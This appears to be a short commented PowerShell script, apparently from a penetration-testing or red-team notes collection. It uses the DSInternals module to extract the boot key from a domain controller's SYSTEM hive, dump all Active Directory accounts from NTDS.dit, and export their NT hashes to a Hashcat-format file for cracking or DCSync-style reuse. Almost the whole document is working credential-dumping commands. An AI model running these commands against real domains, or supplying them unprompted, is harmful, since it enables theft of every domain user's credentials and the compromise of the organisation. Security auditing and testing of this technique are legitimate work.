# For this you need the NTDS.dit file and the SYSTEM registry hive
# You will also need DSInternals PowerShell module. This can be moved across machines.
import-module C:\Users\Administrator\Documents\DS\DSInternals\4.3\DSInternals.psd1
# Grab the bootkey from SYSTEM hive. This can be one offline or in a mounted DC VM.
$key = Get-BootKey -SystemHivePath D:\Windows\System32\config\SYSTEM
# Extract user information from NTDS.dit
Get-ADDBAccount -All -DBPath 'D:\Windows\System32\ntds.dit' -BootKey $key
# Extract Hashes from NTDS.dit in a dcsync format
Get-ADDBAccount -All -DBPath 'D:\Windows\System32\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File vault-hashes.txt -Encoding ASCII
# File can then be cracked, used as normal DCSync would.